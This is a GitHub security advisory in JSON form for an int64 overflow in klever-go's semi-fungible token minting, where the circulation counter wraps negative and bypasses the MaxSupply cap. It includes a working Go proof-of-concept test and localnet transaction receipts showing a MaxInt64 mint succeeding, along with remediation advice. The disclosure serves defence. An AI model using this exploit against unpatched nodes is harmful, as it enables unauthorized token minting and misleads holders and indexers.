CVE-2026-55764: klever-go SFT Add-quantity `int64` Overflow Bypasses Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mrpp-v6pg-p54x",
  "modified" : "2026-08-28T22:08:56Z",
  "published" : "2026-08-28T22:08:56Z",
  "aliases" : [ "CVE-2026-55764" ],
  "summary" : "klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply",
  "details" : "## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass.\n\n<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := &marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := &commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := &commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := &systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE  exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER   exploit: Circulation=%d  err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n</details>\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address —\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.)\n\n<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>\n\n```json\n{\n    \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n    \"blockNum\": 463,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 1\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF\",\n                \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                \"amount\": 1\n            }\n        }\n    ]\n}\n```\n</details>\n\n<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>\n\n```json\n{\n    \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n    \"blockNum\": 484,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 9223372036854775807\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF/1\",\n                \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                \"amount\": 9223372036854775807\n            }\n        }\n    ]\n}\n```\n</details>\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n   `if meta.Circulation < 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue <= 0` pattern), or\n   check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting → gate behind the next activation flag.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/klever-io/klever-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/klever-io/klever-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-190" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T22:08:56Z",
    "nvd_published_at" : null
  }
}